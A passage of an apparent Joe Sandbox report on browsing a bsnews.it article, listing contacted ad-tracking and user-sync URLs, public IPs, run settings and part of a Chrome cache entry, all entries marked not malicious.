https://dsum-sec.casalemedia.com/crum?cm_dsp_id=133&external_user_id=vI1h0VtucsaOiXtHapfWwGX4tBVm4QPQQ4FACCBmGRI&pi=index&gpdr=&gdpr_consent=&us_privacy=&user_id=ZgUvi9HM46UAADq7ABhzMwAA%262753	false		high
https://us-u.openx.net/w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D	false		high
https://ap.lijit.com/pixel?&gdpr=0&us_privacy=1---&redir=https%3A%2F%2Fprebid.a-mo.net%2Fcchain%2F3%2F974%3Fgpp%3D%26gdpr_consent%3D%26gdpr%3D0%26gpp_sid%3D%26us_privacy%3D%26A%3D10735680-48cc-46aa-8323-b54c7155938b%26bidder%3Dsovrn%26cbx%3DaHR0cHM6Ly9hZHMuc2VydmVub2JpZC5jb20vc3luYz9waWQ9MzI3JnVpZD0%253D%26uid%3D%24UID	false		high
https://t.adx.opera.com/pub/sync?pubid=pub10014056052800&gdpr=0&gdpr_consent=	false		high
https://sync.go.sonobi.com/us?loc=https%3A%2F%2Fid5-sync.com%2Fc%2F164%2F434%2F0%2F10.gif%3Fpuid%3D%5BUID%5D%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&consent=	false		high
https://js.gumgum.com/gumgum.js	false		high
https://pixel.tapad.com/idsync/ex/receive?partner_id=1955&partner_device_id=2bb0cef5-1ee4-0f18-2346-cec2b395e7eb	false		high
https://gw-iad-bid.ymmobi.com/adx/user/sync?pubid=ZXBsYW5uaW5n&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&us_privacy=${US_PRIVACY}&callback=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fuid%3D%7Bym_user_id%7D%26dc%3Ddbfd729d40c9c3fc%26fi%3Db908337b94350305	false	Avira URL Cloud: safe	unknown
https://u-iad04.e-planning.net/um?uid=fa7050f1-12ca-43ee-a150-2ba6078e79c2&dc=d015773253e1640b&fi=b908337b94350305	false		high
https://pr-bh.ybp.yahoo.com/sync/rubicon/5upw-RU6kFtkJaJUp0TRgQ?csrc=&gdpr=0	false		high
https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=deepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1	false	Avira URL Cloud: safe	unknown
https://us-u.openx.net/w/1.0/sd?id=537073062&val=969470224947452706	false		high
https://i.liadm.com/s/57424?bidder_id=206088&bidder_uuid=2d78618d-7239-08ee-2b21-aa120a8fe708	false		high
https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/?relatedposts=1	false	Avira URL Cloud: safe	unknown
https://pub.admanmedia.com/?c=o&m=multi	false		high
https://eus.rubiconproject.com/usync.html?&p=eplanning_east&endpoint=us-east	false		high
https://cs.admanmedia.com/sync/minute_media?gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&ismms2s=1&redir=https%3A%2F%2Fcs-rtb.minutemedia-prebid.com%2Fcs%3Faid%3D21497%26puid%3D%5BUID%5D	false		high
https://visitor-us-west-2.omnitagjs.com/visitor/sync?name=NATIVO&ttl=720&uid=0544850a0778385701c6899403bef718&visitor=e8ba1a47-c7b5-45ec-8f5f-37f98d59152f&gdpr=0&gdpr_consent=	false		high
https://a.audrte.com/match?gdpr=0&gdpr_consent=&p=M1717054901&uid=01F5328A-C4D9-44AD-8468-60A885247C68	false	Avira URL Cloud: safe	unknown
https://cdn.indexww.com/ht/htw-pixel.gif?ZgUvi9HM46UAADq7ABhzMwAA%262753	false	Avira URL Cloud: safe	unknown
https://ads.servenobid.com/sync?pid=337&uid=y-GXV3K9BE2uGeEFCGYk4kXshpuItw5ZjnPzaqOJs-~A	false	Avira URL Cloud: safe	unknown
https://bpi.rtactivate.com/tag/?id=20909&user_id=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=1951821134421434&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2CBSNEWS-DSK-Spalla-dx-300X600-ATF&enc_prev_ius=%2F0%2F1&prev_iu_szs=300x250%7C300x600&ifi=8&didk=315054745&sfv=1-0-40&rcs=4&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615957185&lmt=1711560111&adxs=842&adys=593&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=2&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=324x636&msz=324x0&fws=4&ohw=324&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA%2CAOrYGslsriMWrMZfbuyWD3scjX5EX9icZGjJjFjHYGDToB3vrsuu_t2o_RSnrAJ919nxIdNvwmYBTQ131oj3qJZ2pxFbYNyG&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=3&tps=3&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvQlNORVdTLURTSy1TcGFsbGEtZHgtMzAwWDYwMC1BVEYiLFtdXV1dLG51bGwsM10.&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinterval%26refreshCount%3D4%26amznbid%3D2%26amznp%3D2&cust_params=consent%3Dyes&adks=979779281&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM	false		high
https://sync.ipredictive.com/d/sync/cookie/generic?partner=gumgum&cspid=9&append=1&cb=${ADELPHIC_CACHE_BUSTER}&gdpr=&gdpr_consent=&us_privacy=&redirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dvnt%26i%3D	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://us-u.openx.net/w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=&gdpr_consent=&us_privacy=&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D	false		high
https://api.attentionxyz.com/api/event/1454	false	Avira URL Cloud: safe	unknown
https://ads.servenobid.com/sync?pid=310&uid=IZUTABZHDx9FBBjNRfKWNwm_	false	Avira URL Cloud: safe	unknown
https://s.amazon-adsystem.com/dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gpp=&gpp_sid=	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yT/r/Dc7-7AgwkwS.png	false		high
https://d.adroll.com/cm/index/tp_out?advertisable=3GMDZMBFQREVBC75SYYKWH	false		high
https://live.rezync.com/pixel?c=bd8618c307ae9885a12561b7191e2cea&cid=969470224947452706&referrer={encSite}&forward=https%3A%2F%2Fi.liadm.com%2Fs%2F56409%3Fbidder_id%3D200442%26bidder_uuid%3D2f49afa9-dcad-47fd-b664-21be3df28588%253A1711615896.4470387%26pid%3D500040%26it%3D1%26iv%3D2f49afa9-dcad-47fd-b664-21be3df28588%253A1711615896.4470387%26_%3D1711615896.4490292	false		high
https://u.openx.net/w/1.0/cm?gdpr=0&gdpr_consent=&id=29975467-6f1b-4e06-b545-920b22ea49b2&ismms2s=1&r=https%3A%2F%2Fcs-rtb.minutemedia-prebid.com%2Fcs%3Faid%3D21477%26rid%3DhVbEQD5-kp_mm%26id%3D	false		high
https://bidder.criteo.com/cdb?profileId=207&av=36&wv=7.54.2&cb=21828897875&lsavail=0	false		high
https://bh.contextweb.com/bh/rtset?pid=560288&ev=1&rurl=https%3A%2F%2Frtb-csync.smartadserver.com%2Fredir%2F%3Fissi%3D1%26partnerid%3D92%26partneruserid%3D%25%25VGUID%25%25&gdpr=0&gdpr_consent=	false		high
https://sync.adkernel.com/user-sync?dsp=84&t=image&uid=LUAZWPEM-F-4532	false		high
https://bsnews.it/wp-content/plugins/wp-bannerize-pro/public/js/wp-bannerize-impressions.min.js?ver=1.6.9	false	Avira URL Cloud: safe	unknown
https://a.tribalfusion.com/i.match?p=b12&redirect=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537141727%26val%3D%24TF_USER_ID_ENC%24&u=24f5ccb4-d09c-0b01-1efc-e8f372c7dedb	false		high
https://ads.viralize.tv/track/?multi=true&serialization=json&events=%5B%7B%22ver%22%3A3%2C%22type%22%3A%22event%22%2C%22category%22%3A%22bid_opportunity%22%2C%22session_id%22%3A%2201eeece05a1cab0c910a7df5dd4b4bb2%3A0%3A1hq243hmi-omn5ip7g8t8-YWRuXzEyMTAzVPRGN0rXvd0%3D-wp13sc1%22%2C%22bid_opportunity_id%22%3A%221hq243hmi-omn5ip7g8t8-YWRuXzEyMTAzVPRGN0rXvd0%3D-wp13sc1%22%2C%22label%22%3A%22bid_rejected%22%2C%22reason%22%3A%22ok%22%7D%5D	false	Avira URL Cloud: safe	unknown
https://dis.criteo.com/dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@	false		high
https://image8.pubmatic.com/AdServer/ImgSync?gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY}	false		high
https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=58509545&p=156212&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=	false		high
https://ap.lijit.com/dsp/google/cookiematch/dv?gdpr=0&gdpr_consent=	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bsnews.it/notizie-per-comune-provincia-brescia/	chromecache_914.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bsnews.it/wp-content/uploads/2017/03/BSNEWS_verticale-1.jpg	chromecache_914.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ads.stickyadstv.com/user-matching?id=3663&gdpr=0&gdpr_consent=	chromecache_410.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_981.2.dr	false		high
https://match.adsrvr.org/track/cmf/generic?ttd_pid=digqd7p&ttd_tpi=1&gdpr=	chromecache_593.2.dr	false		high
https://i0.wp.com/www.bsnews.it/wp-content/uploads/2016/12/LOGO-QUADRATO-1.jpg?fit=800%2C800&ssl=1	chromecache_914.2.dr	false		high
https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=533%2C	chromecache_914.2.dr	false		high
https://pixel.rubiconproject.com/tap.php?v=223352&nid=4584&put=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezm	chromecache_837.2.dr, chromecache_951.2.dr, chromecache_919.2.dr, chromecache_564.2.dr, chromecache_911.2.dr, chromecache_559.2.dr, chromecache_1028.2.dr	false		high
https://cookies.nextmillmedia.com/sync?type=image&gdpr=	chromecache_570.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_	chromecache_501.2.dr	false	Avira URL Cloud: safe	unknown
https://ap.lijit.com/pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs	chromecache_410.2.dr	false		high
https://eb2.3lift.com/xuid?mid=7976&xuid=01F5328A-C4D9-44AD-8468-60A885247C68&dongle=u6nf&gdpr=0&gdp	chromecache_448.2.dr	false		high
https://www.cloudflare.com/5xx-error-landing	chromecache_597.2.dr, chromecache_933.2.dr, chromecache_966.2.dr, chromecache_596.2.dr, chromecache_825.2.dr, chromecache_774.2.dr	false		high
https://sync.smartadserver.com/getuid?gdpr=0&gdpr_consent=&url=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%	chromecache_647.2.dr	false		high
https://bsnews.it/category/notizie/notizie-categoria/	chromecache_914.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sync.adkernel.com/user-sync?zone=202990&r=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fuid%3D	chromecache_570.2.dr	false		high
https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=thetradedesk%2Cappnex	chromecache_939.2.dr	false	Avira URL Cloud: safe	unknown
https://bsnews.it/author/atortelli_jt869600/	chromecache_914.2.dr	false	Avira URL Cloud: safe	unknown
https://dpm.demdex.net/ibs:dpid=23728&dpuuid=ZgUvi9HM46UAADq7ABhzMwAA%262753?gdpr_consent=&u	chromecache_1007.2.dr	false		high
https://ib.adnxs.com/getuid?https://mwzeom.zeotap.com/mw?adnxs_uid=$UID&zpartnerid=2&env=mWeb&eventT	chromecache_647.2.dr	false		high
https://github.com/blueimp/JavaScript-MD5	chromecache_461.2.dr	false		high
https://u.openx.net/w/1.0/cm?gdpr=0&gdpr_consent=&id=29975467-6f1b-4e06-b545-920b22ea49b2&ismms2s=1&	chromecache_944.2.dr	false		high
https://github.com/google/safevalues/issues	chromecache_736.2.dr	false		high
https://widgets.outbrain.com/images/widgetIcons/icon-x.svg);mask-image:url(https://widgets.outbrain.	chromecache_398.2.dr	false		high
https://dmp.adform.net/serving/cookie/match/?party=1105&env=mWeb&eventType=pageview&id_mid_4=5b95a3d	chromecache_647.2.dr	false		high
https://ssum.casalemedia.com/usermatch?s=190243&cb=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fdc%3D	chromecache_570.2.dr	false		high
https://dofowb44yci1f.cloudfront.net/digitrend/salaBianca.html	chromecache_926.2.dr	false		high
https://schema.org/WebPage	chromecache_914.2.dr	false		high
https://x.bidswitch.net/sync?ssp=tremor&user_id=5c99a009bd184d5ca3b7885003b720e3&gdpr=0&gdpr_consent	chromecache_380.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.253.62.154	unknown	United States	15169	GOOGLEUS	false
18.160.18.17	d8ghbpr3r4dzt.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
216.22.16.8	unknown	United States	30633	LEASEWEB-USA-WDCUS	false
52.215.59.81	unknown	United States	16509	AMAZON-02US	false
34.194.241.212	idaas6.cph.liveintent.com	United States	14618	AMAZON-AESUS	false
68.67.179.153	ib.anycast.adnxs.com	United States	29990	ASN-APPNEXUS	false
18.244.134.43	unknown	United States	16509	AMAZON-02US	false
13.32.208.44	us-east-1.paa-reporting-advertising.amazon	United States	16509	AMAZON-02US	false
3.225.135.34	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
34.193.171.116	pxl.iqm.com	United States	14618	AMAZON-AESUS	false
151.101.1.44	dualstack.tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
23.83.76.53	ssbsync-usw1.smartadserver.com	United States	395954	LEASEWEB-USA-LAX-11US	false
54.86.50.11	unknown	United States	14618	AMAZON-AESUS	false
107.178.254.65	pippio.com	United States	15169	GOOGLEUS	false
18.160.18.32	unknown	United States	3	MIT-GATEWAYSUS	false
35.169.224.111	unknown	United States	14618	AMAZON-AESUS	false
52.94.223.37	unknown	United States	16509	AMAZON-02US	false
174.137.133.32	1.cpm.ak-is2.net	United States	27257	WEBAIR-INTERNETUS	false
34.200.65.202	unknown	United States	14618	AMAZON-AESUS	false
100.24.220.190	match-us-east-1-ecs.sharethrough.com	United States	14618	AMAZON-AESUS	false
35.186.154.107	cm-supply-web.gammaplatform.com	United States	15169	GOOGLEUS	false
74.214.196.131	sjc-direct-bgp.contextweb.com	United States	19189	PULSEPOINTUS	false
216.22.16.56	unknown	United States	30633	LEASEWEB-USA-WDCUS	false
104.244.42.195	s.twitter.com	United States	13414	TWITTERUS	false
34.102.163.6	ad.mrtnsvr.com	United States	15169	GOOGLEUS	false
50.16.42.122	unknown	United States	14618	AMAZON-AESUS	false
138.199.8.195	unknown	European Union	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
162.19.138.117	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
147.28.129.37	dc13-prebid.a-mx.net	United States	3130	RGNET-SEARGnetSeattleWestinEE	false
85.114.159.118	dsp.adfarm1.adition.com	Germany	24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	false
3.222.105.150	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
52.210.206.4	nmc-bifrost-green.ew1-red.nielsendigital.net	United States	16509	AMAZON-02US	false
8.18.47.7	m.deepintent.com	United States	32662	GMCRUS	false
162.19.138.83	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
54.166.87.8	sync.ipredictive.com	United States	14618	AMAZON-AESUS	false
70.42.32.127	nydc1.outbrain.org	United States	22075	AS-OUTBRAINUS	false
151.101.129.16	media.amazon.map.fastly.net	United States	54113	FASTLYUS	false
68.67.153.61	prebid.appnexusgslb.net	United States	29990	ASN-APPNEXUS	false
50.16.197.56	unknown	United States	14618	AMAZON-AESUS	false
104.16.144.23	bsnews.os.tc	United States	13335	CLOUDFLARENETUS	false
8.2.108.106	service.bidlab.ai	United States	46636	NATCOWEBUS	false
40.76.134.238	us01.z.antigena.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.96.71.22	s.dsp-prod.demandbase.com	United States	15169	GOOGLEUS	false
207.65.37.179	gob-pairb-nje1.pubmnet.com	United States	6203	ISDN-NETUS	false
142.251.163.154	unknown	United States	15169	GOOGLEUS	false
8.2.110.161	cm-x.mgid.com	United States	46636	NATCOWEBUS	false
157.240.229.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
104.18.36.155	ssum.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
34.120.135.53	oajs.openx.net	United States	15169	GOOGLEUS	false
172.67.191.172	cm.rtbsystem.com	United States	13335	CLOUDFLARENETUS	false
216.219.92.22	inv-nets.admixer.net	United States	19318	IS-AS-1US	false
34.195.133.218	aes-p-aespr-b5p8dr7p2986-1657876250.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
34.117.239.71	events-ssc.33across.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
13.249.39.105	d29we5puufwqgv.cloudfront.net	United States	16509	AMAZON-02US	false
152.195.19.97	sni1gl.wpc.alphacdn.net	United States	15133	EDGECASTUS	false
68.67.161.208	unknown	United States	29990	ASN-APPNEXUS	false
34.235.76.40	unknown	United States	14618	AMAZON-AESUS	false
104.21.27.89	www.bsnews.it	United States	13335	CLOUDFLARENETUS	false
172.64.151.101	ssum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
3.219.162.206	unknown	United States	14618	AMAZON-AESUS	false
146.59.136.188	app.digitrend.it	Norway	16276	OVHFR	false
67.202.105.32	hde.tynt.com	United States	32748	STEADFASTUS	false
67.202.105.31	de.tynt.com	United States	32748	STEADFASTUS	false
35.208.249.213	trace.mediago.io	United States	19527	GOOGLE-2US	false
52.203.159.247	unknown	United States	14618	AMAZON-AESUS	false
162.55.236.224	sync.richaudience.com	United States	35893	ACPCA	false
162.55.236.225	unknown	United States	35893	ACPCA	false
157.240.229.1	unknown	United States	32934	FACEBOOKUS	false
35.186.193.173	cm.ctnsnet.com	United States	15169	GOOGLEUS	false
34.117.222.118	api.attentionxyz.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
68.67.179.166	unknown	United States	29990	ASN-APPNEXUS	false
34.102.146.192	oa.openxcdn.net	United States	15169	GOOGLEUS	false
8.2.110.134	cs.krushmedia.com	United States	46636	NATCOWEBUS	false
18.160.41.42	js.gumgum.com	United States	3	MIT-GATEWAYSUS	false
68.67.179.164	nym1-ib.adnxs.com	United States	29990	ASN-APPNEXUS	false
69.194.240.13	sync.1rx.io	United States	6336	TURN-US-ASNUS	false
35.241.45.217	pghub.io	United States	15169	GOOGLEUS	false
34.205.236.93	unknown	United States	14618	AMAZON-AESUS	false
3.214.47.126	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
74.119.119.139	gum.va1.vip.prod.criteo.com	United States	19750	AS-CRITEOUS	false
35.210.53.219	adizio.geo.iponweb.net	United States	19527	GOOGLE-2US	false
34.96.70.87	invstatic101.creativecdn.com	United States	15169	GOOGLEUS	false
143.244.35.229	unknown	United States	174	COGENT-174US	false
74.119.119.131	static.va1.vip.prod.criteo.net	United States	19750	AS-CRITEOUS	false
35.244.154.8	id.rlcdn.com	United States	15169	GOOGLEUS	false
38.68.201.140	pmp.mxptint.net	United States	39988	INTELLIGENT-TECHNOLOGY-SOLUTIONSUS	false
52.89.105.164	unknown	United States	16509	AMAZON-02US	false
44.210.155.144	usync.gumgum.com	United States	14618	AMAZON-AESUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
54.144.215.144	unknown	United States	14618	AMAZON-AESUS	false
172.67.169.22	bsnews.it	United States	13335	CLOUDFLARENETUS	false
143.244.222.249	sync.resetdigital.co	United States	174	COGENT-174US	false
23.105.12.170	unknown	United States	30633	LEASEWEB-USA-WDCUS	false
192.0.73.2	1.gravatar.com	United States	2635	AUTOMATTICUS	false
108.156.120.115	launchpad.privacymanager.io	United States	16509	AMAZON-02US	false
142.251.16.149	unknown	United States	15169	GOOGLEUS	false
52.22.88.168	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
18.67.76.126	s.ad.smaato.net	United States	3	MIT-GATEWAYSUS	false
52.46.143.56	unknown	United States	16509	AMAZON-02US	false
44.199.161.71	unknown	United States	14618	AMAZON-AESUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1416910
Start date and time:	2024-03-28 09:50:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@101/1280@1162/100
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://www.facebook.com/www.bsnews.it/

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.167.94, 142.251.163.101, 142.251.163.138, 142.251.163.102, 142.251.163.139, 142.251.163.100, 142.251.163.113, 142.251.16.84, 34.104.35.123, 172.253.122.97, 172.253.115.95, 172.253.122.95, 172.253.63.95, 172.253.62.95, 142.251.167.95, 142.251.111.95, 142.251.16.95, 142.251.163.95, 142.250.31.95, 142.251.179.95, 172.253.122.113, 172.253.122.101, 172.253.122.102, 172.253.122.138, 172.253.122.100, 172.253.122.139, 20.114.59.183, 72.21.81.240, 172.253.62.138, 172.253.62.139, 172.253.62.113, 172.253.62.101, 172.253.62.102, 172.253.62.100, 192.229.211.108, 23.45.149.161, 37.157.5.84, 37.157.5.133, 37.157.4.28, 37.157.4.29, 37.157.5.132, 23.210.240.205, 8.43.72.32, 23.221.241.188, 104.104.76.139, 104.18.52.27, 104.18.51.3, 23.45.233.51, 23.45.233.34, 23.207.202.25, 23.207.202.37, 185.167.164.39, 185.167.164.49, 172.253.122.156, 172.253.122.155, 23.45.149.111, 23.205.104.56, 23.205.104.29, 151.101.130.49, 151.101.194.49, 151.101.2.49, 151.101.66.49, 104.18.35.167, 172.
Excluded domains from analysis (whitelisted): tags.bluekai.com.edgekey.net, d.turn.com.akadns.net, a247.dscb.akamai.net, cdn-ns.cdn-prod-sas.akadns.net, clientservices.googleapis.com, track-eu.adformnet.akadns.net, e9957.b.akamaiedge.net, l-0005.l-msedge.net, e9126.x.akamaiedge.net, clients2.google.com, rtb-csync-geo.usersync-prod-sas.akadns.net, e9957.e4.akamaiedge.net, dual-a-0001.a-msedge.net, pixel-us-east.rubiconproject.net.akadns.net, pagead2.googlesyndication.com, akns.sascdn.com.edgesuite.net, csync.smartadserver.com.edgesuite.net, edgedl.me.gvt1.com, a-us-east.rfihub.com.akadns.net, c.bing.com, rtb.adgrx.com.tech.akadns.net, e6603.g.akamaiedge.net, eus.rubiconproject.com.edgekey.net, g11v.fwgtm.akadns.net, clients.l.google.com, polyfill.io.cdn.cloudflare.net, a184.dscb.akamai.net, wildcard.owneriq.net.edgekey.net, h2.shared.global.fastly.net, a577.dscb.akamai.net, e11294.g.akamaiedge.net, c-bing-com.a-0001.a-msedge.net, wildcard.moatads.com.edgekey.net, track.adformnet.akadns.net, tagged-by.rubiconpr
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1801), with no line terminators
Category:	downloaded
Size (bytes):	1801
Entropy (8bit):	5.273386503089136
Encrypted:	false
SSDEEP:	24:kRUpKBG6FSPNSYMVhSYRuLhrSYNXZZv/fqSY3uMrSYYJSYEKafqSYmSYkCDpSYt:kKKBpKg6NXTg3/MvckYt
MD5:	9177635BC9A8410A74FCCA2B9C69E1DE
SHA1:	0D09C7B90BBE9DA05382B08BED1EE60DBD45F211
SHA-256:	FB15254C4EABE2AF5DD2B702101DF16ABE0C7EEEED4FC9EBCC0F0E834F132784
SHA-512:	DB48D883193FBECF86EE936CC0E5E658CB4D56C84A3DDEFA8B14EB05AD6CD6969B3E453B67A4A806BFA55F18AAC33C314A7AEED9548272FF44648EB0FF126C4F
Malicious:	false
Reputation:	low
URL:	https://ssum-sec.casalemedia.com/usermatch?d=&s=184674&cb=https%3A%2F%2Fcdn.indexww.com%2Fht%2Fhtw-pixel.gif%3F
Preview:	<html><head><title></title></head><body><img src="https://dsum-sec.casalemedia.com/rrum?ixi=1&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dbm%26google_cm%26google_sc%26google_hm%3D" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://pr-bh.ybp.yahoo.com/sync/casale/ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB?gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://secure.adnxs.com/getuid?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=46&external_user_id=$UID" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://ads.stickyadstv.com/user-registering?dataProviderId=1025&userId=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://um.simpli.fi/pm_match?https://dsum-sec.casalemed

Chrome Cache Entry: 1001

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2911
Entropy (8bit):	5.416447299365213
